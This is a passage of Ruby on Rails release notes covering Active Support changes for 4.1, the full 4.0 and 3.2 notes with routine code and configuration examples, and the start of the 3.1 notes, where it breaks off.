attribute_changed? now accepts a hash to check if the attribute was changed :from and/or :to a given value. (Pull Request)

8 Active Support

Please refer to the Changelog for detailed changes.

8.1 Removals

Removed MultiJSON dependency. As a result, ActiveSupport::JSON.decode no longer accepts an options hash for MultiJSON. (Pull Request / More Details)

Removed support for the encode_json hook used for encoding custom objects into JSON. This feature has been extracted into the activesupport-json_encoder gem. (Related Pull Request / More Details)

Removed deprecated ActiveSupport::JSON::Variable with no replacement.

Removed deprecated String#encoding_aware? core extensions (core_ext/string/encoding).

Removed deprecated Module#local_constant_names in favor of Module#local_constants.

Removed deprecated DateTime.local_offset in favor of DateTime.civil_from_format.

Removed deprecated Logger core extensions (core_ext/logger.rb).

Removed deprecated Time#time_with_datetime_fallback, Time#utc_time and Time#local_time in favor of Time#utc and Time#local.

Removed deprecated Hash#diff with no replacement.

Removed deprecated Date#to_time_in_current_zone in favor of Date#in_time_zone.

Removed deprecated Proc#bind with no replacement.

Removed deprecated Array#uniq_by and Array#uniq_by!, use native Array#uniq and Array#uniq! instead.

Removed deprecated ActiveSupport::BasicObject, use ActiveSupport::ProxyObject instead.

Removed deprecated BufferedLogger, use ActiveSupport::Logger instead.

Removed deprecated assert_present and assert_blank methods, use assert object.blank? and assert object.present? instead.

Remove deprecated #filter method for filter objects, use the corresponding method instead (e.g. #before for a before filter).

Removed 'cow' => 'kine' irregular inflection from default inflections. (Commit)

8.2 Deprecations

Deprecated Numeric#{ago,until,since,from_now}, the user is expected to explicitly convert the value into an AS::Duration, i.e. 5.ago => 5.seconds.ago (Pull Request)

Deprecated the require path active_support/core_ext/object/to_json. Require active_support/core_ext/object/json instead. (Pull Request)

Deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

Deprecated ActiveSupport.encode_big_decimal_as_string option. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

Deprecate custom BigDecimal serialization. (Pull Request)

8.3 Notable changes

ActiveSupport's JSON encoder has been rewritten to take advantage of the JSON gem rather than doing custom encoding in pure-Ruby. (Pull Request / More Details)

Improved compatibility with the JSON gem. (Pull Request / More Details)

Added ActiveSupport::Testing::TimeHelpers#travel and #travel_to. These methods change current time to the given time or duration by stubbing Time.now and Date.today.

Added ActiveSupport::Testing::TimeHelpers#travel_back. This method returns the current time to the original state, by removing the stubs added by travel and travel_to. (Pull Request)

Added Numeric#in_milliseconds, like 1.hour.in_milliseconds, so we can feed them to JavaScript functions like getTime(). (Commit)

Added Date#middle_of_day, DateTime#middle_of_day and Time#middle_of_day methods. Also added midday, noon, at_midday, at_noon and at_middle_of_day as aliases. (Pull Request)

Added Date#all_week/month/quarter/year for generating date ranges. (Pull Request)

Added Time.zone.yesterday and Time.zone.tomorrow. (Pull Request)

Added String#remove(pattern) as a short-hand for the common pattern of String#gsub(pattern,''). (Commit)

Added Hash#compact and Hash#compact! for removing items with nil value from hash. (Pull Request)

blank? and present? commit to return singletons. (Commit)

Default the new I18n.enforce_available_locales config to true, meaning I18n will make sure that all locales passed to it must be declared in the available_locales list. (Pull Request)

Introduce Module#concerning: a natural, low-ceremony way to separate responsibilities within a class. (Commit)

Added Object#presence_in to simplify adding values to a permitted list. (Commit)

9 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.0 Release Notes

Highlights in Rails 4.0:

Ruby 2.0 preferred; 1.9.3+ required

Strong Parameters

Turbolinks

Russian Doll Caching

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 4.0

Creating a Rails 4.0 application

Vendoring Gems

Living on the Edge

Major Features

Upgrade

ActionPack

General

Security

Extraction of features to gems

Documentation

Railties

Notable changes

Deprecations

Action Mailer

Notable changes

Deprecations

Active Model

Notable changes

Deprecations

Active Support

Notable changes

Deprecations

Action Pack

Notable changes

Deprecations

Active Record

Notable changes

Deprecations

Credits

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

  # You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

  $ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

  $ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features

3.1 Upgrade

Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required

New deprecation policy - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.

ActionPack page and action caching (commit) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.

ActiveRecord observers (commit) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.

ActiveRecord session store (commit) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.

ActiveModel mass assignment protection (commit) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.

ActiveResource (commit) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.

vendor/plugins removed (commit) - Use a Gemfile to manage installed gems.

3.2 ActionPack

Strong parameters (commit) - Only allow permitted parameters to update model objects (params.permit(:title, :text)).

Routing concerns (commit) - In the routing DSL, factor out common subroutes (comments from /posts/1/comments and /videos/1/comments).

ActionController::Live (commit) - Stream JSON with response.stream.

Declarative ETags (commit) - Add controller-level etag additions that will be part of the action etag computation.

Russian doll caching (commit) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.

Turbolinks (commit) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.

Decouple ActionView from ActionController (commit) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.

Do not depend on ActiveModel (commit) - ActionPack no longer depends on ActiveModel.

3.3 General

ActiveModel::Model (commit) - ActiveModel::Model, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for form_for)

New scope API (commit) - Scopes must always use callables.

Schema cache dump (commit) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.

Support for specifying transaction isolation level (commit) - Choose whether repeatable reads or improved performance (less locking) is more important.

Dalli (commit) - Use Dalli memcache client for the memcache store.

Notifications start & finish (commit) - Active Support instrumentation reports start and finish notifications to subscribers.

Thread safe by default (commit) - Rails can run in threaded app servers without additional configuration.

Check that the gems you are using are threadsafe.

PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.

3.4 Security

match do not catch all (commit) - In the routing DSL, match requires the HTTP verb or verbs to be specified.

html entities escaped by default (commit) - Strings rendered in erb are escaped unless wrapped with raw or html_safe is called.

New security headers (commit) - Rails sends the following headers with every HTTP request: X-Frame-Options (prevents clickjacking by forbidding the browser from embedding the page in a frame), X-XSS-Protection (asks the browser to halt script injection) and X-Content-Type-Options (prevents the browser from opening a jpeg as an exe).

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your Gemfile to bring the functionality back.

Hash-based & Dynamic finder methods (GitHub)

Mass assignment protection in Active Record models (GitHub, Pull Request)

ActiveRecord::SessionStore (GitHub, Pull Request)

Active Record Observers (GitHub, Commit)

Active Resource (GitHub, Pull Request, Blog)

Action Caching (GitHub, Pull Request)

Page Caching (GitHub, Pull Request)

Sprockets (GitHub)

Performance tests (GitHub, Pull Request)

5 Documentation

Guides are rewritten in GitHub Flavored Markdown.

Guides have a responsive design.

6 Railties

Please refer to the Changelog for detailed changes.

6.1 Notable changes

New test locations test/models, test/helpers, test/controllers, and test/mailers. Corresponding rake tasks added as well. (Pull Request)

Your app's executables now live in the bin/ directory. Run rake rails:update:bin to get bin/bundle, bin/rails, and bin/rake.

Threadsafe on by default

Ability to use a custom builder by passing --builder (or -b) to rails new has been removed. Consider using application templates instead. (Pull Request)

6.2 Deprecations

config.threadsafe! is deprecated in favor of config.eager_load which provides a more fine grained control on what is eager loaded.

Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

7.2 Deprecations

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Notable changes

Add ActiveModel::ForbiddenAttributesProtection, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

Added ActiveModel::Model, a mixin to make Ruby objects work with Action Pack out of box.

8.2 Deprecations

9 Active Support

Please refer to the Changelog for detailed changes.

9.1 Notable changes

Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore.

Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.

Inflections can now be defined per locale. singularize and pluralize accept locale as an extra argument.

Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try!.

String#to_date now raises ArgumentError: invalid date instead of NoMethodError: undefined method 'div' for nil:NilClass when given an invalid date. It is now the same as Date.parse, and it accepts more invalid dates than 3.x, such as:

# ActiveSupport 3.x
"asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
"333".to_date # => NoMethodError: undefined method `div' for nil:NilClass

# ActiveSupport 4
"asdf".to_date # => ArgumentError: invalid date
"333".to_date # => Fri, 29 Nov 2013

9.2 Deprecations

Deprecate ActiveSupport::TestCase#pending method, use skip from minitest instead.

ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods for custom JSON string literals.

Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).

BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.

Deprecate assert_present and assert_blank in favor of assert object.blank? and assert object.present?

10 Action Pack

Please refer to the Changelog for detailed changes.

10.1 Notable changes

Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.

10.2 Deprecations

11 Active Record

Please refer to the Changelog for detailed changes.

11.1 Notable changes

Improve ways to write change migrations, making the old up & down methods no longer necessary.

The methods drop_table and remove_column are now reversible, as long as the necessary information is given. The method remove_column used to accept multiple column names; instead use remove_columns (which is not revertible). The method change_table is also reversible, as long as its block doesn't call remove, change or change_default

New method reversible makes it possible to specify code to be run when migrating up or down. See the Guide on Migration

New method revert will revert a whole migration or the given block. If migrating down, the given migration / block is run normally. See the Guide on Migration

Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

Add Relation#load to explicitly load the record and return self.

Model.all now returns an ActiveRecord::Relation, rather than an array of records. Use Relation#to_a if you really want an array. In some specific cases, this may cause breakage when upgrading.

Added ActiveRecord::Migration.check_pending! that raises an error if migrations are pending.

Added custom coders support for ActiveRecord::Store. Now you can set your custom coder like this:

store :settings, accessors: [ :color, :homepage ], coder: JSON

mysql and mysql2 connections will set SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss. This can be disabled by specifying strict: false in your database.yml.

Remove IdentityMap.

Remove automatic execution of EXPLAIN queries. The option active_record.auto_explain_threshold_in_seconds is no longer used and should be removed.

Adds ActiveRecord::NullRelation and ActiveRecord::Relation#none implementing the null object pattern for the Relation class.

Added create_join_table migration helper to create HABTM join tables.

Allows PostgreSQL hstore records to be created.

11.2 Deprecations

Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can rewrite the code:

find_all_by_... can be rewritten using where(...).

find_last_by_... can be rewritten using where(...).last.

scoped_by_... can be rewritten using where(...).

find_or_initialize_by_... can be rewritten using find_or_initialize_by(...).

find_or_create_by_... can be rewritten using find_or_create_by(...).

find_or_create_by_...! can be rewritten using find_or_create_by!(...).

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 3.2 Release Notes

Highlights in Rails 3.2:

Faster Development Mode

New Routing Engine

Automatic Query Explains

Tagged Logging

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 3.2

Rails 3.2 requires at least Ruby 1.8.7

What to update in your apps

What to update in your engines

Creating a Rails 3.2 application

Vendoring Gems

Living on the Edge

Major Features

Faster Development Mode & Routing

Automatic Query Explains

Tagged Logging

Documentation

Railties

Deprecations

Action Mailer

Action Pack

Action Controller

Action Dispatch

Action View

Sprockets

Active Record

Deprecations

Active Model

Deprecations

Active Resource

Active Support

Deprecations

Credits

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

Update your Gemfile to depend on

rails = 3.2.0

sass-rails ~> 3.2.3

coffee-rails ~> 3.2.1

uglifier >= 1.0.3

Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

There are a couple of new configuration changes you'd want to add in config/environments/development.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

The mass_assignment_sanitizer config also needs to be added in config/environments/test.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the following content:

  ENGINE_ROOT = File.expand_path('../..', __FILE__)
ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)

require "rails/all"
require "rails/engine/commands"

2 Creating a Rails 3.2 application

  # You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

  $ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

  $ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by Active Reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new Journey engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an explain method in ActiveRecord::Relation. For example, you can run something like puts Person.active.limit(5).explain and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are automatically explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting config.reload_classes_only_on_change to false.

New applications get a flag config.active_record.auto_explain_threshold_in_seconds in the environments configuration files. With a value of 0.5 in development.rb and commented out in production.rb. No mention in test.rb.

Added config.exceptions_app to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

Added a DebugExceptions middleware which contains features extracted from ShowExceptions middleware.

Display mounted engines' routes in rake routes.

Allow to change the loading order of railties with config.railties_order like:

config.railties_order = [Blog::Engine, :main_app, :all]

Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to ActiveSupport::TaggedLogging. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

Default options to rails new can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time rails new runs in the .railsrc configuration file in your home directory.

Add an alias d for destroy. This works for engines too.

Attributes on scaffold and model generators default to string. This allows the following: bin/rails g scaffold Post title body:text author

Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

bin/rails g scaffold Post title:string:index author:uniq price:decimal{7,2}

will create indexes for title and author with the latter being a unique index. Some types such as decimal accept custom options. In the example, price will be a decimal column with precision and scale set to 7 and 2 respectively.

Turn gem has been removed from default Gemfile.

Remove old plugin generator rails generate plugin in favor of rails plugin new command.

Remove old config.paths.app.controller API in favor of config.paths["app/controller"].

5.1 Deprecations

Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

6 Action Mailer

Upgraded mail version to 2.4.0.

Removed the old Action Mailer API which was deprecated since Rails 3.0.

7 Action Pack

7.1 Action Controller

Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be.

Added :gzip option to caches_page. The default option can be configured globally using page_cache_compression.

Rails will now use your default layout (such as "layouts/application") when you specify a layout with :only and :except condition, and those conditions fail.

class CarsController
  layout 'single_car', :only => :show
end

Rails will use layouts/single_car when a request comes in :show action, and use layouts/application (or layouts/cars, if exists) when a request comes in for any other actions.

form_for is changed to use #{action}_#{as} as the CSS class and id if :as option is provided. Earlier versions used #{as}_#{action}.

ActionController::ParamsWrapper on Active Record models now only wrap attr_accessible attributes if they were set. If not, only the attributes returned by the class method attribute_names will be wrapped. This fixes the wrapping of nested attributes by adding them to attr_accessible.

Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

ActionDispatch::ShowExceptions is refactored. The controller is responsible for choosing to show exceptions. It's possible to override show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

ActionController::TestCase cookies is refactored. Assigning cookies for test cases should now use cookies[]

cookies[:email] = 'user@example.com'
get :index
assert_equal 'user@example.com', cookies[:email]

To clear the cookies, use clear.

cookies.clear
get :index
assert_nil cookies[:email]

We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

send_file now guesses the MIME type from the file extension if :type is not provided.

MIME type entries for PDF, ZIP and other formats were added.

Allow fresh_when/stale? to take a record instead of an options hash.

Changed log level of warning for missing CSRF token from :debug to :warn.

Assets should use the request protocol by default or default to relative if no request is available.

7.1.1 Deprecations

Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

class ApplicationController
  layout "application"
end

class PostsController < ApplicationController
end

In the example above, PostsController will no longer automatically look up for a posts layout. If you need this functionality you could either remove layout "application" from ApplicationController or explicitly set it to nil in PostsController.

Deprecated ActionController::UnknownAction in favor of AbstractController::ActionNotFound.

Deprecated ActionController::DoubleRenderError in favor of AbstractController::DoubleRenderError.

Deprecated method_missing in favor of action_missing for missing actions.

Deprecated ActionController#rescue_action, ActionController#initialize_template_class and ActionController#assign_shortcuts.

7.2 Action Dispatch

Add config.action_dispatch.default_charset to configure default charset for ActionDispatch::Response.

Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

The ShowExceptions middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in env["action_dispatch.exception"] and with the PATH_INFO rewritten to the status code.

Allow rescue responses to be configured through a railtie as in config.action_dispatch.rescue_responses.

7.2.1 Deprecations

Deprecated the ability to set a default charset at the controller level, use the new config.action_dispatch.default_charset instead.

7.3 Action View

Add button_tag support to ActionView::Helpers::FormBuilder. This support mimics the default behavior of submit_tag.

<%= form_for @post do |f| %>
  <%= f.button %>
<% end %>

Date helpers accept a new option :use_two_digit_numbers => true, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

<%= form_for(@offer, :namespace => 'namespace') do |f| %>
  <%= f.label :version, 'Version' %>:
  <%= f.text_field :version %>
<% end %>

Limit the number of options for select_year to 1000. Pass :max_years_allowed option to set your own limit.

content_tag_for and div_for can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

@items.each do |item|
  content_tag_for(:li, item) do
    Title: <%= item.title %>
  end
end

You can do this:

content_tag_for(:li, @items) do |item|
  Title: <%= item.title %>
end

Added font_path helper method that computes the path to a font asset in public/fonts.

7.3.1 Deprecations

Passing formats or handlers to render :template and friends like render :template => "foo.html.erb" is deprecated. Instead, you can provide :handlers and :formats directly as options: render :template => "foo", :formats => [:html, :js], :handlers => :erb.

7.4 Sprockets

Adds a configuration option config.assets.logger to control Sprockets logging. Set it to false to turn off logging and to nil to default to Rails.logger.

8 Active Record

Boolean columns with 'on' and 'ON' values are type cast to true.

When the timestamps method creates the created_at and updated_at columns, it makes them non-nullable by default.

Implemented ActiveRecord::Relation#explain.

Implements ActiveRecord::Base.silence_auto_explain which allows the user to selectively disable automatic EXPLAINs within a block.

Implements automatic EXPLAIN logging for slow queries. A new configuration parameter config.active_record.auto_explain_threshold_in_seconds determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

Added ActiveRecord::Base.store for declaring simple single-column key/value stores.

class User < ActiveRecord::Base
  store :settings, accessors: [ :color, :homepage ]
end

u = User.new(color: 'black', homepage: '37signals.com')
u.color                          # Accessor stored attribute
u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor

Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

rake db:migrate SCOPE=blog

Migrations copied from engines are now scoped with engine's name, for example 01_create_posts.blog.rb.

Implemented ActiveRecord::Relation#pluck method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

Client.where(:active => true).pluck(:id)
# SELECT id from clients where active = 1

Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named MyModel::GeneratedFeatureMethods. It is included into the model class immediately after the generated_attributes_methods module defined in Active Model, so association methods override attribute methods of the same name.

Add ActiveRecord::Relation#uniq for generating unique queries.

Client.select('DISTINCT name')

..can be written as:

Client.select(:name).uniq

This also allows you to revert the uniqueness in a relation:

Client.select(:name).uniq.uniq(false)

Support index sort order in SQLite, MySQL and PostgreSQL adapters.

Allow the :class_name option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized

In development mode, db:drop also drops the test database in order to be symmetric with db:create.

Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a better approach over the old find_or_create_by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")

Added a with_lock method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to lock!.

This makes it possible to write the following:

class Order < ActiveRecord::Base
  def cancel!
    transaction do
      lock!
      # ... cancelling logic
    end
  end
end

as:

class Order < ActiveRecord::Base
  def cancel!
    with_lock do
      # ... cancelling logic
    end
  end
end

8.1 Deprecations

Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

Thread.new { Post.find(1) }.join

It should be changed to close the database connection at the end of the thread:

Thread.new {
  Post.find(1)
  Post.connection.close
}.join

Only people who spawn threads in their application code need to worry about this change.

The set_table_name, set_inheritance_column, set_sequence_name, set_primary_key, set_locking_column methods are deprecated. Use an assignment method instead. For example, instead of set_table_name, use self.table_name=.

class Project < ActiveRecord::Base
  self.table_name = "project"
end

Or define your own self.table_name method:

class Post < ActiveRecord::Base
  def self.table_name
    "special_" + super
  end
end

Post.table_name # => "special_posts"

9 Active Model

Add ActiveModel::Errors#added? to check if a specific error has been added.

Add ability to define strict validations with strict => true that always raises exception when fails.

Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

9.1 Deprecations

Deprecated define_attr_method in ActiveModel::AttributeMethods because this only existed to support methods like set_table_name in Active Record, which are themselves being deprecated.

Deprecated Model.model_name.partial_path in favor of model.to_partial_path.

10 Active Resource

Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.

11 Active Support

Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities.

Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"

Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"

Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
# Logs "[BCX] [Jason] Stuff"

The beginning_of_week method in Date, Time and DateTime accepts an optional argument representing the day in which the week is assumed to start.

ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs.

Defined new methods Module#qualified_const_defined?, Module#qualified_const_get and Module#qualified_const_set that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

Added #deconstantize which complements #demodulize in inflections. This removes the rightmost segment in a qualified constant name.

Added safe_constantize that constantizes a string but returns nil instead of raising an exception if the constant (or part of it) does not exist.

ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options!.

Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<<.

The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.

The inflector understands acronyms.

Added Time#all_day, Time#all_week, Time#all_quarter and Time#all_year as a way of generating ranges.

Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)

Added instance_accessor: false as an option to Class#cattr_accessor and friends.

ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat.

Added ActiveSupport::Cache::NullStore for use in development and testing.

Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library.

11.1 Deprecations

ActiveSupport::Base64 is deprecated in favor of ::Base64.

Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern.

Module#synchronize is deprecated with no replacement. Please use monitor from ruby's standard library.

Deprecated ActiveSupport::MessageEncryptor#encrypt and ActiveSupport::MessageEncryptor#decrypt.

ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

ActiveSupport::BufferedLogger#open_log is deprecated. This method should not have been public in the first place.

ActiveSupport::BufferedLogger's behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f

ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your filehandle, or tune your filesystem.

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by Vijay Dev.

Ruby on Rails 3.1 Release Notes

Highlights in Rails 3.1:

Streaming

Reversible Migrations

Assets Pipeline

jQuery as the default JavaScript library

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 3.1

Rails 3.1 requires at least Ruby 1.8.7

What to update in your apps

Creating a Rails 3.1 application

Vendoring Gems

Living on the Edge

Rails Architectural Changes

Assets Pipeline

HTTP Streaming

Default JS library is now jQuery

Identity Map

Railties

Action Pack

Action Controller

Action Dispatch

Action View

Active Record

Active Model

Active Resource

Active Support

Credits

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

1.1 Rails 3.1 requires at least Ruby 1.8.7

